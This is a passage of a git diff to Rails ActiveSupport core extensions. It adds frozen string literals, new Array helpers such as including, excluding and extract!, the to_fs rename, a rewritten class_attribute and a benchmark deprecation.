+      end
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext.rb b/activesupport/lib/active_support/core_ext.rb
index f397f658f371f..2ed62bfa0f8e1 100644
--- a/activesupport/lib/active_support/core_ext.rb
+++ b/activesupport/lib/active_support/core_ext.rb
@@ -1,3 +1,5 @@
-(Dir["#{File.dirname(__FILE__)}/core_ext/*.rb"]).each do |path|
+# frozen_string_literal: true
+
+(Dir.glob(File.expand_path("core_ext/*.rb", __dir__)).sort - [File.expand_path("core_ext/benchmark.rb", __dir__)]).each do |path|
   require path
 end
diff --git a/activesupport/lib/active_support/core_ext/array.rb b/activesupport/lib/active_support/core_ext/array.rb
index e908386a1ca16..913c798c75b20 100644
--- a/activesupport/lib/active_support/core_ext/array.rb
+++ b/activesupport/lib/active_support/core_ext/array.rb
@@ -1,7 +1,9 @@
-require "active_support/core_ext/array/wrap"
-require "active_support/core_ext/array/access"
-require "active_support/core_ext/array/conversions"
-require "active_support/core_ext/array/extract_options"
-require "active_support/core_ext/array/grouping"
-require "active_support/core_ext/array/prepend_and_append"
-require "active_support/core_ext/array/inquiry"
+# frozen_string_literal: true
+
+require_relative "array/wrap"
+require_relative "array/access"
+require_relative "array/conversions"
+require_relative "array/extract"
+require_relative "array/extract_options"
+require_relative "array/grouping"
+require_relative "array/inquiry"
diff --git a/activesupport/lib/active_support/core_ext/array/access.rb b/activesupport/lib/active_support/core_ext/array/access.rb
index fca33c9d69176..8f36669cea856 100644
--- a/activesupport/lib/active_support/core_ext/array/access.rb
+++ b/activesupport/lib/active_support/core_ext/array/access.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Array
   # Returns the tail of the array from +position+.
   #
@@ -27,17 +29,25 @@ def to(position)
     end
   end
 
-  # Returns a copy of the Array without the specified elements.
+  # Returns a new array that includes the passed elements.
+  #
+  #   [ 1, 2, 3 ].including(4, 5) # => [ 1, 2, 3, 4, 5 ]
+  #   [ [ 0, 1 ] ].including([ [ 1, 0 ] ]) # => [ [ 0, 1 ], [ 1, 0 ] ]
+  def including(*elements)
+    self + elements.flatten(1)
+  end
+
+  # Returns a copy of the Array excluding the specified elements.
   #
-  #   people = ["David", "Rafael", "Aaron", "Todd"]
-  #   people.without "Aaron", "Todd"
-  #   # => ["David", "Rafael"]
+  #   ["David", "Rafael", "Aaron", "Todd"].excluding("Aaron", "Todd") # => ["David", "Rafael"]
+  #   [ [ 0, 1 ], [ 1, 0 ] ].excluding([ [ 1, 0 ] ]) # => [ [ 0, 1 ] ]
   #
-  # Note: This is an optimization of `Enumerable#without` that uses `Array#-`
-  # instead of `Array#reject` for performance reasons.
-  def without(*elements)
-    self - elements
+  # Note: This is an optimization of <tt>Enumerable#excluding</tt> that uses <tt>Array#-</tt>
+  # instead of <tt>Array#reject</tt> for performance reasons.
+  def excluding(*elements)
+    self - elements.flatten(1)
   end
+  alias :without :excluding
 
   # Equal to <tt>self[1]</tt>.
   #
diff --git a/activesupport/lib/active_support/core_ext/array/conversions.rb b/activesupport/lib/active_support/core_ext/array/conversions.rb
index cac15e11001af..125a67d796b6d 100644
--- a/activesupport/lib/active_support/core_ext/array/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/array/conversions.rb
@@ -1,4 +1,5 @@
-require "active_support/xml_mini"
+# frozen_string_literal: true
+
 require "active_support/core_ext/hash/keys"
 require "active_support/core_ext/string/inflections"
 require "active_support/core_ext/object/to_param"
@@ -14,12 +15,12 @@ class Array
   #
   # ==== Options
   #
-  # * <tt>:words_connector</tt> - The sign or word used to join the elements
-  #   in arrays with two or more elements (default: ", ").
-  # * <tt>:two_words_connector</tt> - The sign or word used to join the elements
-  #   in arrays with two elements (default: " and ").
+  # * <tt>:words_connector</tt> - The sign or word used to join all but the last
+  #   element in arrays with three or more elements (default: <tt>", "</tt>).
   # * <tt>:last_word_connector</tt> - The sign or word used to join the last element
-  #   in arrays with three or more elements (default: ", and ").
+  #   in arrays with three or more elements (default: <tt>", and "</tt>).
+  # * <tt>:two_words_connector</tt> - The sign or word used to join the elements
+  #   in arrays with two elements (default: <tt>" and "</tt>).
   # * <tt>:locale</tt> - If +i18n+ is available, you can set a locale and use
   #   the connector options defined on the 'support.array' namespace in the
   #   corresponding dictionary file.
@@ -64,7 +65,7 @@ def to_sentence(options = {})
       two_words_connector: " and ",
       last_word_connector: ", and "
     }
-    if defined?(I18n)
+    if options[:locale] != false && defined?(I18n)
       i18n_connectors = I18n.translate(:'support.array', locale: options[:locale], default: {})
       default_connectors.merge!(i18n_connectors)
     end
@@ -72,23 +73,25 @@ def to_sentence(options = {})
 
     case length
     when 0
-      ""
+      +""
     when 1
-      "#{self[0]}"
+      +"#{self[0]}"
     when 2
-      "#{self[0]}#{options[:two_words_connector]}#{self[1]}"
+      +"#{self[0]}#{options[:two_words_connector]}#{self[1]}"
     else
-      "#{self[0...-1].join(options[:words_connector])}#{options[:last_word_connector]}#{self[-1]}"
+      +"#{self[0...-1].join(options[:words_connector])}#{options[:last_word_connector]}#{self[-1]}"
     end
   end
 
   # Extends <tt>Array#to_s</tt> to convert a collection of elements into a
   # comma separated id list if <tt>:db</tt> argument is given as the format.
   #
-  #   Blog.all.to_formatted_s(:db)  # => "1,2,3"
-  #   Blog.none.to_formatted_s(:db) # => "null"
-  #   [1,2].to_formatted_s          # => "[1, 2]"
-  def to_formatted_s(format = :default)
+  # This method is aliased to <tt>to_formatted_s</tt>.
+  #
+  #   Blog.all.to_fs(:db)  # => "1,2,3"
+  #   Blog.none.to_fs(:db) # => "null"
+  #   [1,2].to_fs          # => "[1, 2]"
+  def to_fs(format = :default)
     case format
     when :db
       if empty?
@@ -97,11 +100,10 @@ def to_formatted_s(format = :default)
         collect(&:id).join(",")
       end
     else
-      to_default_s
+      to_s
     end
   end
-  alias_method :to_default_s, :to_s
-  alias_method :to_s, :to_formatted_s
+  alias_method :to_formatted_s, :to_fs
 
   # Returns a string that represents the array in XML by invoking +to_xml+
   # on each element. Active Record collections delegate their representation
@@ -179,13 +181,13 @@ def to_formatted_s(format = :default)
   #   </messages>
   #
   def to_xml(options = {})
-    require "active_support/builder" unless defined?(Builder)
+    require "active_support/builder" unless defined?(Builder::XmlMarkup)
 
     options = options.dup
     options[:indent]  ||= 2
     options[:builder] ||= Builder::XmlMarkup.new(indent: options[:indent])
     options[:root]    ||= \
-      if first.class != Hash && all? { |e| e.is_a?(first.class) }
+      if first.class != Hash && all?(first.class)
         underscored = ActiveSupport::Inflector.underscore(first.class.name)
         ActiveSupport::Inflector.pluralize(underscored).tr("/", "_")
       else
diff --git a/activesupport/lib/active_support/core_ext/array/extract.rb b/activesupport/lib/active_support/core_ext/array/extract.rb
new file mode 100644
index 0000000000000..cc5a8a3f88e55
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/array/extract.rb
@@ -0,0 +1,21 @@
+# frozen_string_literal: true
+
+class Array
+  # Removes and returns the elements for which the block returns a true value.
+  # If no block is given, an Enumerator is returned instead.
+  #
+  #   numbers = [0, 1, 2, 3, 4, 5, 6, 7, 8, 9]
+  #   odd_numbers = numbers.extract! { |number| number.odd? } # => [1, 3, 5, 7, 9]
+  #   numbers # => [0, 2, 4, 6, 8]
+  def extract!
+    return to_enum(:extract!) { size } unless block_given?
+
+    extracted_elements = []
+
+    reject! do |element|
+      extracted_elements << element if yield(element)
+    end
+
+    extracted_elements
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/array/extract_options.rb b/activesupport/lib/active_support/core_ext/array/extract_options.rb
index 9008a0df2ae0e..8c7cb2e780476 100644
--- a/activesupport/lib/active_support/core_ext/array/extract_options.rb
+++ b/activesupport/lib/active_support/core_ext/array/extract_options.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Hash
   # By default, only instances of Hash itself are extractable.
   # Subclasses of Hash may implement this method and return
diff --git a/activesupport/lib/active_support/core_ext/array/grouping.rb b/activesupport/lib/active_support/core_ext/array/grouping.rb
index 0d798e5c4e557..36993e01dc148 100644
--- a/activesupport/lib/active_support/core_ext/array/grouping.rb
+++ b/activesupport/lib/active_support/core_ext/array/grouping.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Array
   # Splits or iterates over the array in groups of size +number+,
   # padding any remaining slots with +fill_with+ unless it is +false+.
@@ -17,7 +19,7 @@ class Array
   #   ["1", "2"]
   #   ["3", "4"]
   #   ["5"]
-  def in_groups_of(number, fill_with = nil)
+  def in_groups_of(number, fill_with = nil, &block)
     if number.to_i <= 0
       raise ArgumentError,
         "Group size must be a positive integer, was #{number.inspect}"
@@ -34,7 +36,7 @@ def in_groups_of(number, fill_with = nil)
     end
 
     if block_given?
-      collection.each_slice(number) { |slice| yield(slice) }
+      collection.each_slice(number, &block)
     else
       collection.each_slice(number).to_a
     end
@@ -57,7 +59,7 @@ def in_groups_of(number, fill_with = nil)
   #   ["1", "2", "3"]
   #   ["4", "5"]
   #   ["6", "7"]
-  def in_groups(number, fill_with = nil)
+  def in_groups(number, fill_with = nil, &block)
     # size.div number gives minor group size;
     # size % number gives how many objects need extra accommodation;
     # each group hold either division or division + 1 items.
@@ -77,7 +79,7 @@ def in_groups(number, fill_with = nil)
     end
 
     if block_given?
-      groups.each { |g| yield(g) }
+      groups.each(&block)
     else
       groups
     end
@@ -88,11 +90,11 @@ def in_groups(number, fill_with = nil)
   #
   #   [1, 2, 3, 4, 5].split(3)              # => [[1, 2], [4, 5]]
   #   (1..10).to_a.split { |i| i % 3 == 0 } # => [[1, 2], [4, 5], [7, 8], [10]]
-  def split(value = nil)
+  def split(value = nil, &block)
     arr = dup
     result = []
     if block_given?
-      while (idx = arr.index { |i| yield i })
+      while (idx = arr.index(&block))
         result << arr.shift(idx)
         arr.shift
       end
diff --git a/activesupport/lib/active_support/core_ext/array/inquiry.rb b/activesupport/lib/active_support/core_ext/array/inquiry.rb
index 66fa5fcd0c97a..650b1067f1152 100644
--- a/activesupport/lib/active_support/core_ext/array/inquiry.rb
+++ b/activesupport/lib/active_support/core_ext/array/inquiry.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 require "active_support/array_inquirer"
 
 class Array
-  # Wraps the array in an +ArrayInquirer+ object, which gives a friendlier way
-  # to check its string-like contents.
+  # Wraps the array in an ActiveSupport::ArrayInquirer object, which gives a
+  # friendlier way to check its string-like contents.
   #
   #   pets = [:cat, :dog].inquiry
   #
diff --git a/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb b/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
deleted file mode 100644
index 16a6789f8d0cb..0000000000000
--- a/activesupport/lib/active_support/core_ext/array/prepend_and_append.rb
+++ /dev/null
@@ -1,7 +0,0 @@
-class Array
-  # The human way of thinking about adding stuff to the end of a list is with append.
-  alias_method :append,  :<<
-
-  # The human way of thinking about adding stuff to the beginning of a list is with prepend.
-  alias_method :prepend, :unshift
-end
diff --git a/activesupport/lib/active_support/core_ext/array/wrap.rb b/activesupport/lib/active_support/core_ext/array/wrap.rb
index b611d34c27798..d62f97edbf00e 100644
--- a/activesupport/lib/active_support/core_ext/array/wrap.rb
+++ b/activesupport/lib/active_support/core_ext/array/wrap.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 class Array
   # Wraps its argument in an array unless it is already an array (or array-like).
   #
diff --git a/activesupport/lib/active_support/core_ext/benchmark.rb b/activesupport/lib/active_support/core_ext/benchmark.rb
index 2300953860fd6..a3864671460ee 100644
--- a/activesupport/lib/active_support/core_ext/benchmark.rb
+++ b/activesupport/lib/active_support/core_ext/benchmark.rb
@@ -1,14 +1,6 @@
-require "benchmark"
+# frozen_string_literal: true
 
-class << Benchmark
-  # Benchmark realtime in milliseconds.
-  #
-  #   Benchmark.realtime { User.all }
-  #   # => 8.0e-05
-  #
-  #   Benchmark.ms { User.all }
-  #   # => 0.074
-  def ms
-    1000 * realtime { yield }
-  end
-end
+# Remove this file from activesupport/lib/active_support/core_ext.rb when deleting the deprecation.
+ActiveSupport.deprecator.warn <<~TEXT
+  active_support/core_ext/benchmark.rb is deprecated and will be removed in Rails 8.2 without replacement.
+TEXT
diff --git a/activesupport/lib/active_support/core_ext/big_decimal.rb b/activesupport/lib/active_support/core_ext/big_decimal.rb
index 7b4f87f10e4e6..5568db689b42f 100644
--- a/activesupport/lib/active_support/core_ext/big_decimal.rb
+++ b/activesupport/lib/active_support/core_ext/big_decimal.rb
@@ -1 +1,3 @@
-require "active_support/core_ext/big_decimal/conversions"
+# frozen_string_literal: true
+
+require_relative "big_decimal/conversions"
diff --git a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
index decd4e1699c23..76ad58432f90b 100644
--- a/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/big_decimal/conversions.rb
@@ -1,8 +1,10 @@
+# frozen_string_literal: true
+
 require "bigdecimal"
 require "bigdecimal/util"
 
 module ActiveSupport
-  module BigDecimalWithDefaultFormat #:nodoc:
+  module BigDecimalWithDefaultFormat # :nodoc:
     def to_s(format = "F")
       super(format)
     end
diff --git a/activesupport/lib/active_support/core_ext/class.rb b/activesupport/lib/active_support/core_ext/class.rb
index 6a19e862d0659..65e1d683999ac 100644
--- a/activesupport/lib/active_support/core_ext/class.rb
+++ b/activesupport/lib/active_support/core_ext/class.rb
@@ -1,2 +1,4 @@
-require "active_support/core_ext/class/attribute"
-require "active_support/core_ext/class/subclasses"
+# frozen_string_literal: true
+
+require_relative "class/attribute"
+require_relative "class/subclasses"
diff --git a/activesupport/lib/active_support/core_ext/class/attribute.rb b/activesupport/lib/active_support/core_ext/class/attribute.rb
index ba422f9071a7b..e52bf99fbfda1 100644
--- a/activesupport/lib/active_support/core_ext/class/attribute.rb
+++ b/activesupport/lib/active_support/core_ext/class/attribute.rb
@@ -1,11 +1,22 @@
-require "active_support/core_ext/kernel/singleton_class"
-require "active_support/core_ext/module/remove_method"
-require "active_support/core_ext/array/extract_options"
+# frozen_string_literal: true
+
+require "active_support/core_ext/module/redefine_method"
+require "active_support/class_attribute"
 
 class Class
   # Declare a class-level attribute whose value is inheritable by subclasses.
   # Subclasses can change their own value and it will not impact parent class.
   #
+  # ==== Options
+  #
+  # * <tt>:instance_reader</tt> - Sets the instance reader method (defaults to true).
+  # * <tt>:instance_writer</tt> - Sets the instance writer method (defaults to true).
+  # * <tt>:instance_accessor</tt> - Sets both instance methods (defaults to true).
+  # * <tt>:instance_predicate</tt> - Sets a predicate method (defaults to true).
+  # * <tt>:default</tt> - Sets a default value for the attribute (defaults to nil).
+  #
+  # ==== Examples
+  #
   #   class Base
   #     class_attribute :setting
   #   end
@@ -68,61 +79,59 @@ class Class
   #   object.setting = false  # => NoMethodError
   #
   # To opt out of both instance methods, pass <tt>instance_accessor: false</tt>.
-  def class_attribute(*attrs)
-    options = attrs.extract_options!
-    instance_reader = options.fetch(:instance_accessor, true) && options.fetch(:instance_reader, true)
-    instance_writer = options.fetch(:instance_accessor, true) && options.fetch(:instance_writer, true)
-    instance_predicate = options.fetch(:instance_predicate, true)
-
+  #
+  # To set a default value for the attribute, pass <tt>default:</tt>, like so:
+  #
+  #   class_attribute :settings, default: {}
+  def class_attribute(*attrs, instance_accessor: true,
+    instance_reader: instance_accessor, instance_writer: instance_accessor, instance_predicate: true, default: nil
+  )
+    class_methods, methods = [], []
     attrs.each do |name|
-      remove_possible_singleton_method(name)
-      define_singleton_method(name) { nil }
-
-      remove_possible_singleton_method("#{name}?")
-      define_singleton_method("#{name}?") { !!public_send(name) } if instance_predicate
+      unless name.is_a?(Symbol) || name.is_a?(String)
+        raise TypeError, "#{name.inspect} is not a symbol nor a string"
+      end
 
-      ivar = "@#{name}"
+      name = name.to_sym
+      namespaced_name = :"__class_attr_#{name}"
+      ::ActiveSupport::ClassAttribute.redefine(self, name, namespaced_name, default)
 
-      remove_possible_singleton_method("#{name}=")
-      define_singleton_method("#{name}=") do |val|
-        singleton_class.class_eval do
-          remove_possible_method(name)
-          define_method(name) { val }
-        end
+      class_methods << "def #{name}; #{namespaced_name}; end"
+      class_methods << "def #{name}=(value); self.#{namespaced_name} = value; end"
 
-        if singleton_class?
-          class_eval do
-            remove_possible_method(name)
-            define_method(name) do
-              if instance_variable_defined? ivar
-                instance_variable_get ivar
-              else
-                singleton_class.send name
-              end
+      if singleton_class?
+        methods << <<~RUBY if instance_reader
+          silence_redefinition_of_method(:#{name})
+          def #{name}
+            self.singleton_class.#{name}
+          end
+        RUBY
+      else
+        methods << <<~RUBY if instance_reader
+          silence_redefinition_of_method def #{name}
+            if defined?(@#{name})
+              @#{name}
+            else
+              self.class.#{name}
             end
           end
-        end
-        val
+        RUBY
       end
 
-      if instance_reader
-        remove_possible_method name
-        define_method(name) do
-          if instance_variable_defined?(ivar)
-            instance_variable_get ivar
-          else
-            self.class.public_send name
-          end
-        end
+      methods << <<~RUBY if instance_writer
+        silence_redefinition_of_method(:#{name}=)
+        attr_writer :#{name}
+      RUBY
 
-        remove_possible_method "#{name}?"
-        define_method("#{name}?") { !!public_send(name) } if instance_predicate
-      end
-
-      if instance_writer
-        remove_possible_method "#{name}="
-        attr_writer name
+      if instance_predicate
+        class_methods << "silence_redefinition_of_method def #{name}?; !!self.#{name}; end"
+        if instance_reader
+          methods << "silence_redefinition_of_method def #{name}?; !!self.#{name}; end"
+        end
       end
     end
+
+    location = caller_locations(1, 1).first
+    class_eval(["class << self", *class_methods, "end", *methods].join(";").tr("\n", ";"), location.path, location.lineno)
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
index 0f767925ed628..a77354e1538b7 100644
--- a/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
+++ b/activesupport/lib/active_support/core_ext/class/attribute_accessors.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 # cattr_* became mattr_* aliases in 7dfbd91b0780fbd6a1dd9bfbc176e10894871d2d,
 # but we keep this around for libraries that directly require it knowing they
 # want cattr_*. No need to deprecate.
diff --git a/activesupport/lib/active_support/core_ext/class/subclasses.rb b/activesupport/lib/active_support/core_ext/class/subclasses.rb
index 62397d9508cf7..dd5b9e333a852 100644
--- a/activesupport/lib/active_support/core_ext/class/subclasses.rb
+++ b/activesupport/lib/active_support/core_ext/class/subclasses.rb
@@ -1,55 +1,24 @@
-require "active_support/core_ext/module/anonymous"
-require "active_support/core_ext/module/reachable"
+# frozen_string_literal: true
 
-class Class
-  begin
-    # Test if this Ruby supports each_object against singleton_class
-    ObjectSpace.each_object(Numeric.singleton_class) {}
-
-    # Returns an array with all classes that are < than its receiver.
-    #
-    #   class C; end
-    #   C.descendants # => []
-    #
-    #   class B < C; end
-    #   C.descendants # => [B]
-    #
-    #   class A < B; end
-    #   C.descendants # => [B, A]
-    #
-    #   class D < C; end
-    #   C.descendants # => [B, A, D]
-    def descendants
-      descendants = []
-      ObjectSpace.each_object(singleton_class) do |k|
-        next if k.singleton_class?
-        descendants.unshift k unless k == self
-      end
-      descendants
-    end
-  rescue StandardError # JRuby 9.0.4.0 and earlier
-    def descendants
-      descendants = []
-      ObjectSpace.each_object(Class) do |k|
-        descendants.unshift k if k < self
-      end
-      descendants.uniq!
-      descendants
-    end
-  end
+require "active_support/descendants_tracker"
 
-  # Returns an array with the direct children of +self+.
+class Class
+  # Returns an array with all classes that are < than its receiver.
   #
-  #   class Foo; end
-  #   class Bar < Foo; end
-  #   class Baz < Bar; end
+  #   class C; end
+  #   C.descendants # => []
   #
-  #   Foo.subclasses # => [Bar]
-  def subclasses
-    subclasses, chain = [], descendants
-    chain.each do |k|
-      subclasses << k unless chain.any? { |c| c > k }
-    end
-    subclasses
+  #   class B < C; end
+  #   C.descendants # => [B]
+  #
+  #   class A < B; end
+  #   C.descendants # => [B, A]
+  #
+  #   class D < C; end
+  #   C.descendants # => [B, A, D]
+  def descendants
+    subclasses.concat(subclasses.flat_map(&:descendants))
   end
+
+  prepend ActiveSupport::DescendantsTracker::ReloadedClassesFiltering
 end
diff --git a/activesupport/lib/active_support/core_ext/date.rb b/activesupport/lib/active_support/core_ext/date.rb
index 4f66804da285f..2a2ed5496f4b2 100644
--- a/activesupport/lib/active_support/core_ext/date.rb
+++ b/activesupport/lib/active_support/core_ext/date.rb
@@ -1,5 +1,7 @@
-require "active_support/core_ext/date/acts_like"
-require "active_support/core_ext/date/blank"
-require "active_support/core_ext/date/calculations"
-require "active_support/core_ext/date/conversions"
-require "active_support/core_ext/date/zones"
+# frozen_string_literal: true
+
+require_relative "date/acts_like"
+require_relative "date/blank"
+require_relative "date/calculations"
+require_relative "date/conversions"
+require_relative "date/zones"
diff --git a/activesupport/lib/active_support/core_ext/date/acts_like.rb b/activesupport/lib/active_support/core_ext/date/acts_like.rb
index 46fe99ad47768..c8077f37747cb 100644
--- a/activesupport/lib/active_support/core_ext/date/acts_like.rb
+++ b/activesupport/lib/active_support/core_ext/date/acts_like.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "active_support/core_ext/object/acts_like"
 
 class Date
diff --git a/activesupport/lib/active_support/core_ext/date/blank.rb b/activesupport/lib/active_support/core_ext/date/blank.rb
index edd2847126385..4419f86cb0fe2 100644
--- a/activesupport/lib/active_support/core_ext/date/blank.rb
+++ b/activesupport/lib/active_support/core_ext/date/blank.rb
@@ -1,6 +1,8 @@
+# frozen_string_literal: true
+
 require "date"
 
-class Date #:nodoc:
+class Date # :nodoc:
   # No Date is blank:
   #
   #   Date.today.blank? # => false
@@ -9,4 +11,8 @@ class Date #:nodoc:
   def blank?
     false
   end
+
+  def present?
+    true
+  end
 end
diff --git a/activesupport/lib/active_support/core_ext/date/calculations.rb b/activesupport/lib/active_support/core_ext/date/calculations.rb
index d6f60cac0439f..4edcb823423f9 100644
--- a/activesupport/lib/active_support/core_ext/date/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date/calculations.rb
@@ -1,3 +1,5 @@
+# frozen_string_literal: true
+
 require "date"
 require "active_support/duration"
 require "active_support/core_ext/object/acts_like"
@@ -11,22 +13,22 @@ class Date
   class << self
     attr_accessor :beginning_of_week_default
 
-    # Returns the week start (e.g. :monday) for the current request, if this has been set (via Date.beginning_of_week=).
+    # Returns the week start (e.g. +:monday+) for the current request, if this has been set (via Date.beginning_of_week=).
     # If <tt>Date.beginning_of_week</tt> has not been set for the current request, returns the week start specified in <tt>config.beginning_of_week</tt>.
-    # If no config.beginning_of_week was specified, returns :monday.
+    # If no +config.beginning_of_week+ was specified, returns +:monday+.
     def beginning_of_week
-      Thread.current[:beginning_of_week] || beginning_of_week_default || :monday
+      ::ActiveSupport::IsolatedExecutionState[:beginning_of_week] || beginning_of_week_default || :monday
     end
 
-    # Sets <tt>Date.beginning_of_week</tt> to a week start (e.g. :monday) for current request/thread.
+    # Sets <tt>Date.beginning_of_week</tt> to a week start (e.g. +:monday+) for current request/thread.
     #
     # This method accepts any of the following day symbols:
-    # :monday, :tuesday, :wednesday, :thursday, :friday, :saturday, :sunday
+    # +:monday+, +:tuesday+, +:wednesday+, +:thursday+, +:friday+, +:saturday+, +:sunday+
     def beginning_of_week=(week_start)
-      Thread.current[:beginning_of_week] = find_beginning_of_week!(week_start)
+      ::ActiveSupport::IsolatedExecutionState[:beginning_of_week] = find_beginning_of_week!(week_start)
     end
 
-    # Returns week start day symbol (e.g. :monday), or raises an +ArgumentError+ for invalid day symbol.
+    # Returns week start day symbol (e.g. +:monday+), or raises an +ArgumentError+ for invalid day symbol.
     def find_beginning_of_week!(week_start)
       raise ArgumentError, "Invalid beginning of week: #{week_start}" unless ::Date::DAYS_INTO_WEEK.key?(week_start)
       week_start
@@ -42,7 +44,7 @@ def tomorrow
       ::Date.current.tomorrow
     end
 
-    # Returns Time.zone.today when <tt>Time.zone</tt> or <tt>config.time_zone</tt> are set, otherwise just returns Date.today.
+    # Returns <tt>Time.zone.today</tt> when <tt>Time.zone</tt> or <tt>config.time_zone</tt> are set, otherwise just returns Date.today.
     def current
       ::Time.zone ? ::Time.zone.today : ::Date.today
     end
@@ -85,7 +87,7 @@ def end_of_day
   end
   alias :at_end_of_day :end_of_day
 
-  def plus_with_duration(other) #:nodoc:
+  def plus_with_duration(other) # :nodoc:
     if ActiveSupport::Duration === other
       other.since(self)
     else
@@ -95,7 +97,7 @@ def plus_with_duration(other) #:nodoc:
   alias_method :plus_without_duration, :+
   alias_method :+, :plus_with_duration
 
-  def minus_with_duration(other) #:nodoc:
+  def minus_with_duration(other) # :nodoc:
     if ActiveSupport::Duration === other
       plus_with_duration(-other)
     else
@@ -107,13 +109,29 @@ def minus_with_duration(other) #:nodoc:
 
   # Provides precise Date calculations for years, months, and days. The +options+ parameter takes a hash with
   # any of these keys: <tt>:years</tt>, <tt>:months</tt>, <tt>:weeks</tt>, <tt>:days</tt>.
+  #
+  # The increments are applied in order of time units from largest to smallest.
+  # In other words, the date is incremented first by +:years+, then by
+  # +:months+, then by +:weeks+, then by +:days+. This order can affect the
+  # result around the end of a month. For example, incrementing first by months
+  # then by days:
+  #
+  #   Date.new(2004, 9, 30).advance(months: 1, days: 1)
+  #   # => Sun, 31 Oct 2004
+  #
+  # Whereas incrementing first by days then by months yields a different result:
+  #
+  #   Date.new(2004, 9, 30).advance(days: 1).advance(months: 1)
+  #   # => Mon, 01 Nov 2004
+  #
   def advance(options)
-    options = options.dup
     d = self
-    d = d >> options.delete(:years) * 12 if options[:years]
-    d = d >> options.delete(:months)     if options[:months]
-    d = d +  options.delete(:weeks) * 7  if options[:weeks]
-    d = d +  options.delete(:days)       if options[:days]
+
+    d = d >> options[:years] * 12 if options[:years]
+    d = d >> options[:months] if options[:months]
+    d = d + options[:weeks] * 7 if options[:weeks]
+    d = d + options[:days] if options[:days]
+
     d
   end
 
diff --git a/activesupport/lib/active_support/core_ext/date/conversions.rb b/activesupport/lib/active_support/core_ext/date/conversions.rb
index d553406dff797..bef1f3e239c0f 100644
--- a/activesupport/lib/active_support/core_ext/date/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/date/conversions.rb
@@ -1,55 +1,52 @@
+# frozen_string_literal: true
+
 require "date"
 require "active_support/inflector/methods"
 require "active_support/core_ext/date/zones"
-require "active_support/core_ext/module/remove_method"
+require "active_support/core_ext/module/redefine_method"
 
 class Date
   DATE_FORMATS = {
     short: "%d %b",
     long: "%B %d, %Y",
     db: "%Y-%m-%d",
+    inspect: "%Y-%m-%d",
     number: "%Y%m%d",
     long_ordinal: lambda { |date|
       day_format = ActiveSupport::Inflector.ordinalize(date.day)
       date.strftime("%B #{day_format}, %Y") # => "April 25th, 2007"
     },
     rfc822: "%d %b %Y",
+    rfc2822: "%d %b %Y",
     iso8601: lambda { |date| date.iso8601 }
   }
 
-  # Ruby 1.9 has Date#to_time which converts to localtime only.
-  remove_method :to_time
-
-  # Ruby 1.9 has Date#xmlschema which converts to a string without the time
-  # component. This removal may generate an issue on FreeBSD, that's why we
-  # need to use remove_possible_method here
-  remove_possible_method :xmlschema
-
   # Convert to a formatted string. See DATE_FORMATS for predefined formats.
   #
-  # This method is aliased to <tt>to_s</tt>.
+  # This method is aliased to <tt>to_formatted_s</tt>.
   #
   #   date = Date.new(2007, 11, 10)       # => Sat, 10 Nov 2007
   #
+  #   date.to_fs(:db)                     # => "2007-11-10"
   #   date.to_formatted_s(:db)            # => "2007-11-10"
-  #   date.to_s(:db)                      # => "2007-11-10"
   #
-  #   date.to_formatted_s(:short)         # => "10 Nov"
-  #   date.to_formatted_s(:number)        # => "20071110"
-  #   date.to_formatted_s(:long)          # => "November 10, 2007"
-  #   date.to_formatted_s(:long_ordinal)  # => "November 10th, 2007"
-  #   date.to_formatted_s(:rfc822)        # => "10 Nov 2007"
-  #   date.to_formatted_s(:iso8601)       # => "2007-11-10"
+  #   date.to_fs(:short)         # => "10 Nov"
+  #   date.to_fs(:number)        # => "20071110"
+  #   date.to_fs(:long)          # => "November 10, 2007"
+  #   date.to_fs(:long_ordinal)  # => "November 10th, 2007"
+  #   date.to_fs(:rfc822)        # => "10 Nov 2007"
+  #   date.to_fs(:rfc2822)       # => "10 Nov 2007"
+  #   date.to_fs(:iso8601)       # => "2007-11-10"
   #
-  # == Adding your own date formats to to_formatted_s
-  # You can add your own formats to the Date::DATE_FORMATS hash.
+  # == Adding your own date formats to to_fs
+  # You can add your own formats to the +Date::DATE_FORMATS+ hash.
   # Use the format name as the hash key and either a strftime string
   # or Proc instance that takes a date argument as the value.
   #
   #   # config/initializers/date_formats.rb
   #   Date::DATE_FORMATS[:month_and_year] = '%B %Y'
   #   Date::DATE_FORMATS[:short_ordinal] = ->(date) { date.strftime("%B #{date.day.ordinalize}") }
-  def to_formatted_s(format = :default)
+  def to_fs(format = :default)
     if formatter = DATE_FORMATS[format]
       if formatter.respond_to?(:call)
         formatter.call(self).to_s
@@ -57,11 +54,10 @@ def to_formatted_s(format = :default)
         strftime(formatter)
       end
     else
-      to_default_s
+      to_s
     end
   end
-  alias_method :to_default_s, :to_s
-  alias_method :to_s, :to_formatted_s
+  alias_method :to_formatted_s, :to_fs
 
   # Overrides the default inspect method with a human readable one, e.g., "Mon, 21 Feb 2005"
   def readable_inspect
@@ -70,8 +66,10 @@ def readable_inspect
   alias_method :default_inspect, :inspect
   alias_method :inspect, :readable_inspect
 
+  silence_redefinition_of_method :to_time
+
   # Converts a Date instance to a Time, where the time is set to the beginning of the day.
-  # The timezone can be either :local or :utc (default :local).
+  # The timezone can be either +:local+ or +:utc+ (default +:local+).
   #
   #   date = Date.new(2007, 11, 10)  # => Sat, 10 Nov 2007
   #
@@ -79,11 +77,16 @@ def readable_inspect
